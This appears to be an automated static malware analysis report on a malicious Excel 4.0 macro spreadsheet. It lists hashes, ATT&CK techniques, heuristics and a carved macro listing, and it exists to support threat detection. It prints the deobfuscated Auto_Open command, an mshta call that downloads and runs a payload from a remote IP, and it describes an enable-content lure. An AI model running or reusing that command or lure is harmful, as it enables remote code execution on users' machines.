Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 a830905d19c1b1a2…

MALICIOUS

Office (OLE) / .XLS

65.3 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 0c3f0d617388a2ea28095dab83c15957 SHA-1: 4f6a7fc5fc21b4b91fe58444f62c89af635a7919 SHA-256: a830905d19c1b1a262f5b6484dcbf74166b52e6742b363f5049fa03cec849557
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: Malicious File

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html', which indicates it will download and execute a payload from the specified URL. The document body also contains a lure to enable editing and content, a common tactic for macro-based malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
c5aad075e50422dc1116ac70939d41e0371d46cf42a38ecf99b5202042a44db6
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1374 bytes